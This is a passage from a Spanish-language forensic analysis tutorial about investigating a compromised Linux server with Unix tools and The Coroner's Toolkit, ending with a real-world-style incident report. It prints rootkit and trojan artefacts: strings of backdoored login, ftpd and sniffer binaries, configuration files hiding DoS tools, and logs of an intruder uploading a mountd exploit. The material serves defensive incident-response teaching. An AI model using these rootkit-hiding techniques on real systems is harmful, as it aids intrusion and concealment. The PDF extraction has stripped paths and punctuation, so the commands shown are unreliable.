3Puede ser que sea un entretenimiento para los intrusos crear cuentas para que el administrador las encuentre laselimine y asume que el sistema estaacute seguro mientras que hay muacuteltiples puertas traseras instaladas que permitencompromiso root de la maacutequina

4Como normalmente las cuentas se crean de forma secuencial en el fichero etcpasswd puede que el administrador(o alguien maacutes) haya instalado named en el sistema de forma reciente (o el intruso haya instalado una versioacutende named vulnerable)

18

Debe empezar a construir una liacutenea temporal para anotar cuando han ocurrido los hechos intentar trazar de formainversa todos los acciones hasta el intento de entrada al sistema y el punto de origen de entrada Aprovechando todoslos hechos acumulados al final podremos determinar el origen verdadero del atacante y los sistemas utilizados paraatacar a la maacutequina

En este momento nos encontramos en la fase de observacioacuten ahora estamos tomando notas de lo que pasoacute hemosverificado que tenemos el contenido de disco duro intacto disponemos de tres copias del disco duro y las estamosestudiando en modo solo lectura

Desde aquiacute el anaacutelisis puede ser continuado usando herramientas comunes de Unix yo herramientas especialmentedisentildeados para anaacutelisis forense Tambieacuten debemos utilizar toda nuestra experiencia anterior y el sentido comuacuten

7 Anaacutelisis con Herramientas Estaacutendar de UnixAsumiendo que nuestras herramientas de Unix estaacuten limpias de root-kit podemos seguir desde el punto donde lodejamos en la seccioacuten anterior Hemos notado que las dos cuentas y y z tienen el directorio home situado en entmp y en respectivamente Eso significa que debemos examinar de forma detenida estos directorios para detectarcualquier anomaliacutea

ls -lat mnttmptotal 156drwxrwxrwt 6 root root 1024 May 1 0403 -r--r--r-- 1 root gdm 11 Apr 29 1417 X0-lockdrwxrwxrwt 2 root gdm 1024 Apr 29 1417 X11-unixdrwxrwxrwt 2 xfs xfs 1024 Apr 29 1417 font-unixdrwxr-xr-x 25 y root 1024 Apr 28 2347 drwx------ 2 user1 user1 1024 Apr 26 1736 kfm-cache-500-rw-rw-r-- 1 user1 user1 12288 Apr 26 1637 psdevtabdrwxrwxrwt 2 root root 1024 Apr 21 1112 ICE-unix-rwx------ 1 root root 138520 Apr 20 2015 fileMFpmnk

El listado nos muestra que existe un fichero cuyo tamantildeo es superior al resto Tambieacuten vemos que es el fichero maacutesantiguo de la carpeta que pertenece al root El nombre del fichero no estandarizado y posee derechos de ejecucioacutenDebemos determinar de que tipo de fichero se trata El programa file nos informa que el fichero misterioso es unbinario ELF de 32-bit LSB ejecutable Intel 80386 versioacuten 1 (Linux) enlazado estaacuteticamente stripeado Para ver cuales el objetivo del fichero examinamos el listado de cadenas de texto que contiene

1strings - mnttmpfileMFpmnk

19

libld-linuxso2__gmon_start__libpamso0_DYNAMIC_GLOBAL_OFFSET_TABLE_pam_set_itemfree__ctype_tolowermallocstrcmppam_endpam_start

FileCompressedBlockStream[nowhere yet]ftpdaAvdlLiopPqQrsStTuwWXbad value for -uoption -c requires an argumentunknown option -c ignored

VirtualFTP Connect to s [s]bannerlogfileemailvarlogxferlogconnection refused (server shut down) from ss FTP server shut down -- please try again laterlslongbinls -lalsshortlsplainbinlsgreetingfulltersebriefs FTP server (s) readys FTP server readyFTP server ready

FTP LOGIN REFUSED (already logged in as s) FROM s s

20

Already logged inetcftphostsFTP LOGIN REFUSED (name in s) FROM s sanonymousFTP LOGIN REFUSED (anonymous ftp denied on default server) FROM s sFTP LOGIN REFUSED (ftp in denied-uid) FROM s setcftpusers

Por lo que vemos strings nos comenta que el binario es un servidor FTP normalmente llamado ftpd oacute inftpd Puedeser que el fichero forma parte de un root-kit o de un caballo de Troya Los ficheros de configuracioacuten de este tipode kits suelen normalmente encontrarse en el directorio dev entonces una buacutesqueda raacutepida en ese directorio podraacutedesvelar nos mucha informacioacuten uacutetil

cd mntdev ls -lat | head -30total 116drwxr-xr-x 8 root root 34816 Apr 30 0402 srw-rw-rw- 1 root root 0 Apr 30 0402 logcrw------- 1 root root 4 1 Apr 29 1417 tty1crw------- 1 root root 4 2 Apr 29 1417 tty2crw------- 1 root root 4 3 Apr 29 1417 tty3crw------- 1 root root 4 4 Apr 29 1417 tty4crw------- 1 root root 4 5 Apr 29 1417 tty5crw------- 1 root root 4 6 Apr 29 1417 tty6srwxrwxrwx 1 root root 0 Apr 29 1417 gpmctlsrw------- 1 root root 0 Apr 29 1417 printercrw-r--r-- 1 root root 1 9 Apr 29 1417 urandomprw------- 1 root root 0 Apr 29 1414 initctldrwxr-xr-x 25 y root 1024 Apr 28 2347 crw-rw-rw- 1 root tty 3 2 Apr 28 1144 ttyp2crw-rw-rw- 1 root tty 3 0 Apr 28 1143 ttyp0crw-rw-rw- 1 root tty 3 1 Apr 28 1143 ttyp1-rw-r--r-- 1 root root 18 Apr 27 2258 ptypdrwxr-xr-x 4 r00t root 1024 Apr 27 2258 crw-rw-rw- 1 root tty 3 4 Apr 27 1202 ttyp4crw-rw-rw- 1 root tty 3 3 Apr 27 1156 ttyp3crw------- 1 root root 5 1 Apr 21 1109 consolelrwxrwxrwx 1 root root 5 Apr 21 0402 mouse -gt psauxdrwxr-xr-x 2 root root 1024 Apr 20 1521 rev0-rw-r--r-- 1 root root 33 Apr 20 1521 ptyrlrwxrwxrwx 1 root root 9 Feb 28 0223 isdnctrl -gt isdnctrl0lrwxrwxrwx 1 root root 5 Feb 28 0223 nftape -gt nrft0lrwxrwxrwx 1 root root 3 Feb 28 0223 fb -gt fb0

21

lrwxrwxrwx 1 root root 15 Feb 28 0223 fd -gt procselffdlrwxrwxrwx 1 root root 4 Feb 28 0223 ftape -gt rft0Broken pipe

De todos los ficheros que podemos ver en este directorio nos llaman atencioacuten los archivos ptyp y ptyr que noson dispositivos comunes ni directorios ni tampoco enlaces simboacutelicos son ficheros de tipo ASCII text Tambieacutenlocalizamos un directorio llamado rev0 y una carpeta oculta que pertenece al usuario r00t

less ptyr

spplslicessynk4rev0bc1snif

Son ficheros de configuracioacuten de un caballo de Troya El contenido muestra que ls ocultaraacute ficheros o directorios spplslice (un cliente DoS) ssynk4 (cliente DoS) rev0 bc1 y snif (adivina que puede ser )

Si estamos seguros que nuestro sistema no estaacute infectado con un root-kit podemos utilizar las herramientas find ygrep para identificar doacutende se encuentran estos ficheros (el disco estaacute montado como solo lectura nodev iquestverdad)

cd mnt

find -ls | grep -f etcptyr282058 1 drwxr-xr-x 2 root root 1024 Apr 20 1521 devrev0282059 1 -rw-r--r-- 1 root root 5 Apr 20 1521 devrev0sniffpid

282061 20 -rw-r--r-- 1 root root 19654 Apr 20 2023 devrev0tcplog164753 9 -rwxr-xr-x 1 1080 users 9106 Sep 20 1999 devrev0slice164754 8 -rwxr-xr-x 1 1080 users 8174 Sep 20 1999 devrev0smurf4164755 8 -rwxr-xr-x 1 1080 users 7229 Sep 20 1999 devrev0snif164756 4 -rwxr-xr-x 1 1080 users 4060 Mar 5 1999 devrev0sppl164770 9 -rwxr-xr-x 1 root 1000 8268 Aug 10 1999 devblitznetslice2

61907 2 -rwxr-xr-x 1 root root 2006 Mar 29 1999 usrbinsliceprint

255230 1 -rw-r--r-- 1 root root 900 Mar 21 1999 usrincludepython15sliceobjecth

22

Algunos de los ficheros que estaacuten en la lista posiblemente son ficheros legiacutetimos del sistema operativo pero hayalgunos que son bastante sospechosos los que se encuentran en dos carpetas del directorio dev

cd mntdev less ptyp

3 egg3 egg3 bnc

En este momento podemos hacer una apuesta seguro que el fichero ptyp es un fichero de configuracioacuten de la utilidadps del root-kit que oculta los procesos que contienen cadenas egg bnc en sus nombres Hay que encontrarbinarios ejecutables con estos nombres

cd mntdev ls -lR total 2699drwxr-sr-x 2 root 1000 1024 Aug 10 1999 blitznet-rw-r--r-- 1 root root 30720 Apr 26 0407 blitznettar-rwxrw-r-- 1 r00t user1 22360 Apr 27 2258 bnc-rw-r--r-- 1 900 users 2693120 Apr 20 2218 collisiontar-rw-rw-r-- 1 r00t user1 976 Apr 27 2258 exampleconf-rw-rw-r-- 1 user1 user1 5 Apr 28 2035 pidbnc

blitznettotal 22-rw-r--r-- 1 root 1000 3450 Aug 10 1999 README-rw-r--r-- 1 root 1000 1333 Aug 10 1999 blitzc-rw-r--r-- 1 root 1000 3643 Aug 10 1999 blitzdc-rwxr-xr-x 1 root 1000 2258 Aug 10 1999 rushtcl-rwxr-xr-x 1 root 1000 8268 Aug 10 1999 slice2

ls -lR rev0rev0total 51

23

-rwxr-xr-x 1 1080 users 9106 Sep 20 1999 slice-rwxr-xr-x 1 1080 users 8174 Sep 20 1999 smurf4-rwxr-xr-x 1 1080 users 7229 Sep 20 1999 snif-rw-r--r-- 1 root root 5 Apr 20 1521 sniffpid-rwxr-xr-x 1 1080 users 4060 Mar 5 1999 sppl-rw-r--r-- 1 root root 19654 Apr 20 2023 tcplog

cd mntusrbin ls -lat | headtotal 89379drwxr-xr-x 6 root root 27648 Apr 21 0401 -rwsr-xr-x 1 root root 20164 Apr 15 1923 chxlrwxrwxrwx 1 root root 8 Feb 28 0228 netscape-navigator -gt netscapedrwxrwxr-x 2 news news 1024 Feb 28 0225 rnewslibexecdrwxrwxr-x 2 news news 1024 Feb 28 0225 controldrwxrwxr-x 2 news news 1024 Feb 28 0225 filterlrwxrwxrwx 1 root root 4 Dec 30 1306 elatex -gt etexlrwxrwxrwx 1 root root 5 Dec 30 1306 lambda -gt omegalrwxrwxrwx 1 root root 3 Dec 30 1306 latex -gt texBroken pipe

strings - chxlibld-linuxso2__gmon_start__libcryptso1libpamso0

varlogbtmpusrsharelocaleutil-linuxfhplogin -h for super-user onlyusage login [-fp] [username]devttysdevvcsdevvcsaloginlogin PAM Failure aborting sCouldnrsquot initialize PAM sFAILED LOGIN d FROM s FOR s sLogin incorrectTOO MANY LOGIN TRIES (d) FROM s FOR s s

24

FAILED LOGIN SESSION FROM s FOR s sLogin incorrecthushloginssvarrunutmpvarlogwtmpbinshTERMdumbHOMEusrlocalbinbinusrbinPATHsbinbinusrsbinusrbinSHELLvarspoolmailMAILLOGNAMEDIALUP AT s BY sROOT LOGIN ON s FROM sROOT LOGIN ON sLOGIN ON s BY s FROM sLOGIN ON s BY sYou have smailnewlogin failure forking ssetuid() failedNo directory sLogging in with home = login no memory for shell scriptexeclogin couldnrsquot exec shell script slogin no shell ss loginlogin name much too longNAME too longlogin names may not start with rsquo-rsquotoo many bare linefeedsEXCESSIVE linefeedsLogin timed out after d secondsetcsecurettyetcmotdvarloglastlogLast login sfrom son sLOGIN FAILURE FROM s s

25

LOGIN FAILURE ON s sd LOGIN FAILURES FROM s sd LOGIN FAILURES ON s s

El programa nos muestra los mensajes del sistema mencionando el fichero hushlogin Todos los indicios apuntanque el binario es una versioacuten modificada de de la aplicacioacuten login Siempre Los binarios siempre incluyen informacioacutende objetos compilados y enlazados salvo que esteacuten stripeados Si estaacute presente esa informacioacuten podemos examinarlacon la utilidad nm

nm chxchx no symbols

En este caso estamos seguros que el fichero estaacute stripeado Tambieacuten podemos aprender bastante de lo que nos muestranlos enlaces a las libreriacuteas dinaacutemicas Para verlo utilicemos ldd

ldd chxlibcryptso1 =gt liblibcryptso1 (0x40018000)libpamso0 =gt liblibpamso0 (0x40045000)libdlso2 =gt liblibdlso2 (0x4004d000)libpam_miscso0 =gt liblibpam_miscso0 (0x40050000)libcso6 =gt liblibcso6 (0x40054000)libld-linuxso2 =gt libld-linuxso2 (0x40000000)

El binario depende del moacutedulo PAM y de las libreriacuteas criptograacuteficas Entonces el binario efectuacutea algunas tareas deautenticacioacuten de usuarios El binario parece ser el binlogin modificado que pertenece a alguacuten caballo de Troya

Normalmente los intrusos no dejan huellas evidentes que nos permiten encontrar ficheros y directorios El ejemploanterior nos ha probado que utilizando herramientas baacutesicas podemos reunir bastante informacioacuten

En caso de que no sea tan sencillo se deberaacute utilizar herramientas maacutes complejas y eficaces Para ver alguacuten ejemplocomplejo podemos ver referencias [14 15]

8 The Coronerrsquos ToolkitThe Coronerrsquos Toolkit (o el TCT) es un suite de aplicaciones escritas por Dan Farmer y Wietse Venema para uncurso organizado por IBM sobre un estudio forense de equipos comprometidos

Las aplicaciones maacutes importantes del suite son

26

bull grave-robber - Una utilidad para capturar informacioacuten sobre inodes para luego pueda ser procesada por elprograma mactime del mismo toolkit

bull unrm y lazarus - Herramientas para la recuperacioacuten de archivos borrados (logs RAM swap etc) Estasaplicaciones identifican y recuperan la informacioacuten oculta en los sectores del disco duro

bull mactime - El programa para visualizar los ficherosdirectorios su timestamp MAC (Modification Access yChange)

De todas esas herramientas las maacutes uacutetiles y interesantes son grave-robber y mactime unrm y lazarus son buenas si setiene mucho tiempo y espacio libre en el disco ya que el programa necesita identificar informacioacuten en los sectores deldisco para recuperar los ficheros (logs fuentes etc) borrados por los intrusos

La funcioacuten maacutes baacutesica de grave-robber es de escanear algunas o todas sistemas de ficheros con funcioacuten stat() paraobtener informacioacuten de los inodes Grave-robber crea en la carpeta data un directorio llamado como el nombredel host de la maacutequina y alliacute almacena los inodes dentro del fichero body El programa mactime luego ordena losresultados y los muestra seguacuten el tiempo cual de los tres timestamps corresponde muestra el tipo de fichero tamantildeoy a quieacuten pertenece junto con el path

Desde el listado podremos sacar algunas conclusiones sobre la actividad que ha ejercido el intrusolos intrusos duranteel tiempo que estuvieron dentro del sistema Eso puede incluir instalacioacuten de caballos de Troya backdoors sustitucioacutende ficheros legiacutetimos del sistema operativo descarga de herramientas modificacioacuten de las libreriacuteas del sistema oinstalacioacuten de rpmrsquosdebrsquospkgrsquos etc Tambieacuten podemos ver desde aquiacute la creacioacuten de directorios ocultos ejecucioacutende los comandos de sistema operativo compilacioacuten y ejecucioacuten de aplicaciones Toda esa informacioacuten que nunca sealmacena de forma directa puede ser extraiacuteda de la informacioacuten que da mactime

9 Usando TCTAhora paso por paso intentaremos instalar la aplicacioacuten The Coroners Toolkit que nos serviraacute para recoger lainformacioacuten sobre el sistema de ficheros y analizarla La herramienta no es un ejecutable que realiza todas las tareassino es una coleccioacuten de utilidades disentildeadas para efectuar una tarea determinada siendo importante entender elfuncionamiento de cada una de ellas para poder entender la funcioacuten del toolkit en su totalidad

bull El primer paso es de desempaquetar el archivo tct-109targz y copiarlo al directorio usrlocaltct-109 luegodebemos leer detenidamente el fichero de instrucciones de instalacioacuten INSTALL

La instalacioacuten de la aplicacioacuten debe ser realizada en una particioacuten donde haya mucho espacio ya que algunasaplicaciones suelen generar una cantidad grande de informacioacuten de salida por ejemplo unrm y lazarus

bull Ahora reconfiguremos los scripts utilizando perl reconfig ya que TCT utiliza rutas completas

27

bull Limpiamos bien la distribucioacuten con un make clean make all

bull Leemos documentacioacuten del directorio docs para conocer los detalles de funcionamiento del Toolkit

1 ls -l docs

total 34-rw-r--r-- 1 root root 8572 Mar 28 1241 README-rw-r--r-- 1 root root 7162 Mar 28 1239 grave-robberREADME-rw-r--r-- 1 root root 13944 Jan 16 1334 lazarusREADME-rw-r--r-- 1 root root 2830 Mar 27 1507 macREADME

bull Montamos la particioacuten que debemos analizar en modo solo lectura y nodev bajo alguacuten punto de montura

mount -r devhdd2 mnt

bull Suponiendo que siendo root arrancamos la aplicacioacuten grave-robber para que empiece a analizar el sistema de fiche-ros y procesos y guardar los datos de los inodes en el fichero dataactivalinkcombase y dataactivalinkcombaseS(binarios sUID) el estado del sistema en el directorio dataactivalinkcomcommand_out etc

bingrave-robber -m mnt

Grave-robber inicialmente realizaraacute un anaacutelisis de todas las carpetas que estaacuten en el $PATH y a continuacioacuten empezaraacutea analizar la particioacuten montada mnt El anaacutelisis suele tardar bastante tiempo seguacuten el tamantildeo de la particioacuten quequeremos analizar Aparte de los inodes se guarda el estado general del sistema es decir el output de las herramientasde monitorizacioacuten del sistema como ps top w etc

bull Una vez terminado el trabajo del grave-robber copiamos los ficheros passwd y group del sistema comprometidoal directorio tct-109 para que los tengamos a mano ya que en breve estaremos analizaacutendolos Para que se puedadistinguirlos luego renombramos estos ficheros passwdvictim o utilicemos el nombre del host comprometido

bull Ejecutamos luego la utilidad mactime especificando una fecha anterior del compromiso (consideremos que laactividad del intruso ha acabado hoy pero no vamos a especificar hora) Necesitaremos pasar los resultados deejecucioacuten de mactime a un fichero para que luego se pueda examinar su contenido con tranquilidad

28

binmactime -p passwdvictim -g groupvictim mnt 06012000 gt victimmactime

En la utilidad mactime hubo un bug en las versiones anteriores que haciacutea que la aplicacioacuten no funcione correctamente sise utilizaba la opcioacuten -p Entonces haciacuteamos un work around incorporando temporalmente el contenido del ficheroetcpasswd de la maacutequina viacutectima coincidir con eacutel de nuestro sistema En la versioacuten actual este bug estaacute solucionado

bull Hacemos una copia del fichero antes de empezar el anaacutelisis

cp victimmactime victimmactimeevidence

bull Entonces podemos empezar analizando el fichero victimmactimeevidence Usando el editor de texto favoritoempecemos a revisarlo y marcar la actividad sospechosa Sugiero que pongamos los tags [MARK] para que luegocon grep podamos localizar nuestros apuntes

Feb 13 2000 011050 50148 mca -rwxr-xr-x root root xdevFeb 13 2000 011052 564 mc -rw-r--r-- root root xetcprofileFeb 13 2000 011100 5 mac -rw-r--r-- root root xlibsp

18110 a -rw-r--r-- root root xlibtp[MARK]Feb 13 2000 011208 0 c -rw-r--r-- root root xdevttyag

25 c -rwxr-xr-x root root xdevttyfg23 c -rwxr-xr-x root root xdevttypg

373176 c -rws--x--x root root xlib8268 c -rwxr-xr-x root root xlibgo

20164 c -rwsr-xr-x root root xusrbinxcat183780 c -rwxr-xr-x root root xusrsbinfind

Feb 13 2000 013000 8268 a -rwxr-xr-x root root xlibgoFeb 14 2000 104203 1166856 a -rw-r--r-- root root xvarlogbootlog[MARK]Feb 14 2000 104535 18110 mc -rw-r--r-- root root xlibtpFeb 14 2000 105742 2998 mc -rw-r--r-- root root xetcinetdconf~Feb 14 2000 110147 168 a -rw-rw-r-- root root xrootsaves-1380-dragon~

Feb 14 2000 111838 160 mc -rw-r--r-- root root xetchostsallowoldFeb 14 2000 111855 347 mc -rw-r--r-- root root xetchostsdenyoldFeb 14 2000 111908 8 mc -rw-r--r-- root root xetchostsdenyFeb 14 2000 112253 168 mc -rw-rw-r-- root root xrootsaves-1380-dragon~

29

Feb 14 2000 113030 2998 a -rw-r--r-- root root xetcinetdconf~[MARK]Feb 14 2000 113125 20164 a -rwsr-xr-x root root xusrbinxcatFeb 14 2000 113410 868 mc -rwxr-xr-x root root xetcrcdrclocal

bull Despueacutes de repasar todo el listado de cambios histoacutericos puede que tengamos alguna pista para seguir o puedeque no En el peor de los casos debemos modificar la fecha especificada y cambiarla a la anterior del compromisointentaacutendolo de nuevo o mirar maacutes detenidamente Durante el examen del documento se prohibe distraerse ya quela concentracioacuten es muy importante en este momento

bull Otra opcioacuten es recuperar ficheros borrados con el la utilidad unrm y luego examinarlos con el programa stringsLas dos utilidades unrm y lazarus generan muchiacutesima informacioacuten y debemos tener bastante espacio libre enla particioacuten Podemos determinar la cantidad de espacio en disco duro que necesitamos calculando de formaaproximada a partir del informe de df

df mntFilesystem 1k-blocks Used Available Use Mounted ondevhdb2 3028881 1604551 1267697 56 mnt

En nuestro ejemplo df muestra que tenemos 1267697 bloques sin ocupar que significa que unrm puede llegar a generaraproximadamente 12 Gb de informacioacuten Encontremos una particioacuten libre y almacenemos alliacute el dump (Importanteen el ejemplo utilizo el punto de montura del sistema comprometido y no del sistema de anaacutelisis)

binunrm devhdb2 gt datavictimhda2unrm

bull Pero si disponemos de maacutes espacio (maacutes de 12Gb) y mucho maacutes tiempo para practicar con lazarus que procesaraacuteel espacio libre en el disco duro y intentaraacute recuperar ficheros por sus tipos lazarus genera una salida en formatoHTML que nos va a dar la oportunidad de verla a traveacutes del navegador

30

10 Ejemplo de Informe de Pruebas EncontradasAhora vamos a examinar un informe completo de actividad dellos intrusos en el sistema El informe fue obtenido trasanalizar los ficheros log de los sniffers intentos de acceso timestamps en el sistema de ficheros y el contenido de lasparticiones de varios sistemas involucrados en el incidente Es un informe real soacutelo que estaacute omitida la informacioacutenque identifica el sistema atacado

A continuacioacuten es un informe de anaacutelisis de la particioacuten root del sistema 2121022557 la informacioacuten aparece talcomo fue encontrada despueacutes de poner el disco off-line una vez descubierto el compromiso por sospecha de tenerejecutaacutendose un sniffer Una copia de sistema de ficheros estaacute disponible en formato targz en el cdrom ISO 9660CD-R

La maacutequina 2121022557 fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusosalrededor de 10-09-2001 utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-9812httpwwwcertorgadvisoriesCA-9812mountdhtml

El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas CoronerrsquosToolkit (httpwwwfishcomsecurityforensicshtml) En el sistema de anaacutelisis el disco aparece como dispositivodevhdc La primera particioacuten devhdc1 fue montada en modo solo lectura bajo el punto de montura x Comoresultado de ello todas las rutas seraacuten precedidas por esa cadena La geometriacutea del disco duro es la siguiente

Disk devhdc 32 heads 63 sectors 825 cylindersUnits = cylinders of 2016 512 bytes

Device Boot Start End Blocks Id Systemdevhdc1 1 793 799312+ 83 Linuxdevhdc2 794 825 32256 82 Linux swap

Como la mayoriacutea de los accesos al servidor empezaron el diacutea 09 del Sep la fecha previa del anaacutelisis forense fue tomadacomo 28 Ago No se observan huellas obvias de modificacioacuteninstalacioacuten de ficheros que indica que el sistema fueaccedido entre Sep 01 y Sep 04 El diacutea Sep 04 ha sido modificado el demonio r de Berkeley (inrlogind)

Sep 04 01 234221 23421 m -rwxr-xr-x root root xusrsbininrlogind

El examen del contenido del fichero a traveacutes de la utilidad strings muestra que es un caballo de Troya que contienelos mismos strings que han sido encontrados en los ficheros del grupo XXXXXXX

31

rlogindahLlnXXXXXXXXCanrsquot get peer name of remote host mCanrsquot get peer name of remote hostsetsockopt (SO_KEEPALIVE) msetsockopt (IP_TOS) mhname = NULLrlogindc

Pasados ocho diacuteas se observa una modificacioacuten en el demonio y ejecucioacuten de chown

Sep 12 01 110410 23421 c -rwxr-xr-x root root xusrsbininrlogindSep 12 01 110411 8156 a -rwxr-xr-x root bin xbinchown

Pasada media hora el fichero fuente linsniffc se copia en un directorio oculto bajo etc El directorio se llamaetc (punto-punto-espacio-espacio-espacio lo que nosotros convertiremos en etc___ para ver maacutes claramenteel directorio en los listados El programa luego se compila Vemos que los ficheros de cabeceras que tienen que vercon las funciones de red han sido accedidos y el binario se mueve al usrsbintelnetd

Despueacutes de cuatro minutos se produce un acceso a traveacutes del protocolo FTP (observando el acceso al wuftpd y sufichero id de proceso)

Sep 12 01 113659 5127 mc -rw-r--r-- root root xetc___linsniffcSep 12 01 113708 4967 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxifh

3143 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_arph

3145 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_etherh

1910 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxiph

2234 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxrouteh

1381 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtcph

Sep 12 01 113710 2048 c drwxr-xr-x root bin xusrsbinSep 12 01 113714 2048 m drwxr-xr-x root bin xusrsbinSep 12 01 113715 8179 mc -rwxr-xr-x root root xusrsbintelnetdSep 12 01 113748 8179 a -rwxr-xr-x root root xusrsbintelnetdSep 12 01 114152 77476 a -rwxr-xr-x root bin xusrsbinwuftpd

32

Sep 12 01 114208 4096 mac -rw-r--r-- root root xvarpidftppids-remote

Esa actividad se confirma recuperando el fichero eliminado de log desde la particioacuten root

Sep 12 113305 2001 intelnetd[1290] connect from cromanionwashingtoneduSep 12 113316 2001 login 1 LOGIN FAILURE FROM cromanionwashingtonedu 502Sep 12 113321 2001 login 2 LOGIN FAILURES FROM cromanionwashingtonedu 502

Sep 12 113402 2001 su quaker on devttyp1Sep 12 114152 2001 wuftpd[1327] connect from lotherdalewashingtoneduSep 12 114157 2001 ftpd[1327] USER snoopSep 12 114159 2001 ftpd[1327] PASS passwordSep 12 114200 2001 ftpd[1327] SYSTSep 12 114201 2001 ftpd[1327] CWD tmpSep 12 114206 2001 ftpd[1327] TYPE ImageSep 12 114206 2001 ftpd[1327] PORTSep 12 114206 2001 ftpd[1327] STOR mountdSep 12 114208 2001 ftpd[1327] QUITSep 12 114208 2001 ftpd[1327] FTP session closedSep 12 120025 2001 intelnetd[1342] connect from cromanionwashingtoneduSep 12 120025 2001 telnetd[1342] ttloop peer died Try again

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente Tambieacutenpodemos conocer que el intruso tiene una cuenta en el sistema cromanionwashingtonedu [21512102] que normal-mente utiliza entre 143305 y 150025 EST

Los strings del fichero usrsbintelnetd muestran que es un sniffer El fichero log del sniffer es tcplog (pordefecto)

cant get SOCK_PACKET socketcant get flagscant set promiscuous mode----- [CAPLEN Exceeded]----- [Timed Out]----- [RST]----- [FIN]s =gt s [d]eth0tcplogcant open logExiting

33

El diacutea 13 de Sep otro programa que incorpora funciones de red se compila que hace uso de muchos maacutes recursosque el sniffer (ya que carga maacutes libreriacuteas) El hecho que el binario no aparece con fecha de modificacioacuten o cambiopuede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultarsu presencia del equipo de administracioacuten del servidor

Sep 13 01 100146 55492 a -rwxr-xr-x root root xusrbingcc6211 a -rw-r--r-- root root xusrincludestdioh

92696 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cpp

1003 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270specs

Sep 13 01 100147 2767 a -rw-r--r-- root root xusrinclude_G_configh

1441 a -rw-r--r-- root root xusrincludeallocah2040 a -rw-r--r-- root root xusrincludeconfnameh

1267 a -rw-r--r-- root root xusrincludeerrnoh4186 a -rw-r--r-- root root xusrincludefeaturesh

4434 a -rw-r--r-- root root xusrincludegnutypesh

7917 a -rw-r--r-- root root xusrincludelibioh380 a -rw-r--r-- root root xusrincludeposix_opth

4419 a -rw-r--r-- root root xusrincludesignalh15134 a -rw-r--r-- root root xusrincludestdlibh

7537 a -rw-r--r-- root root xusrincludestringh3909 a -rw-r--r-- root root xusrincludesyscdefsh

4538 a -rw-r--r-- root root xusrincludesyssocketh

321 a -rw-r--r-- root root xusrincludesystypesh

25129 a -rw-r--r-- root root xusrincludeunistdh8841 a -r--r--r-- root root xusrlibgcc-libi486-linux270includestddefh

1029 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386typesh

6298 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxerrnoh

2065 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsignalh

34

2794 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsocketh

3846 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsockiosh

2621 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtypesh

Sep 13 01 100148 3668 a -rw-r--r-- root root xusrincludearpaineth

734 a -rw-r--r-- root root xusrincludebytesexh1555 a -rw-r--r-- root root xusrincludeendianh3248 a -rw-r--r-- root root xusrincludelimitsh6390 a -rw-r--r-- root root xusrincludenetdbh2663 a -rw-r--r-- root root xusrincludenetinetinh

3562 a -rw-r--r-- root root xusrincludepathsh2643 a -rw-r--r-- root root xusrincludeposix1_limh

2680 a -rw-r--r-- root root xusrincludeposix2_limh

3777 a -rw-r--r-- root root xusrincludesysbitypesh

709 a -rw-r--r-- root root xusrincludesysparamh

2315 a -rw-r--r-- root root xusrincludesystimeh

5273 a -rw-r--r-- root root xusrincludesyswaith

2852 a -rw-r--r-- root root xusrincludetimeh1156 a -rw-r--r-- root root xusrincludewaitflagsh

3724 a -rw-r--r-- root root xusrincludewaitstatush

1418196 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cc1

3049 a -rw-r--r-- root root xusrlibgcc-libi486-linux270includelimitsh

330 a -r--r--r-- root root xusrlibgcc-libi486-linux270includesyslimitsh

2101 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386byteorderh

266 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386paramh

3965 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxinh

720 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxlimitsh

35

78 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxparamh

1146 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtimeh

313 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxversionh

698 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxwaith

Sep 13 01 100157 117668 a -rwxr-xr-x root bin xusrbinasSep 13 01 100158 145695 a -rwxr-xr-x root bin xusrbinldSep 13 01 100159 1088 a -rw-r--r-- root root xusrlibcrt1o

1216 a -rw-r--r-- root root xusrlibcrtbegino1212 a -rw-r--r-- root root xusrlibcrtendo

624 a -rw-r--r-- root root xusrlibcrtio396 a -rw-r--r-- root root xusrlibcrtno

204146 a -rw-r--r-- root root xusrlibgcc-libi486-linux270libgcca

El diacutea 14 se ejecuta un cliente de ftp ncftp

Sep 14 01 004250 146881 a -rwxr-xr-x root bin xusrbinncftp

Los iacutendices de acceso del sistema cromanionwashingtonedu (aka cromanion) muestran un login al siste-ma quakerwashingtonedu (aka quaker) a las 1403 del horario EST o +0300 horas maacutes de PST) lo quedescribe las conexiones de las maacutequinas lotherdalewashingtonedu XXXXXXXXXXXXXwashingtonedu yXXXXXXXXXXXXwashingtonedu

XXX ftp XXXXXXXXXXXXXXX Sat Sep 14 0346 - 0408 (0021)XXX ftp XXXXXXXwashingt Sat Sep 14 0346 - 0346 (0000)XXX ftp XXXXXXXXXXXXXX Sat Sep 14 0338 - 0340 (0002)XXX ftp XXXXXXXXXXXXXwa Sat Sep 14 0337 - 0339 (0002)XXX ftp XXXXXXXXXXXXwas Sat Sep 14 0319 - 0320 (0000)

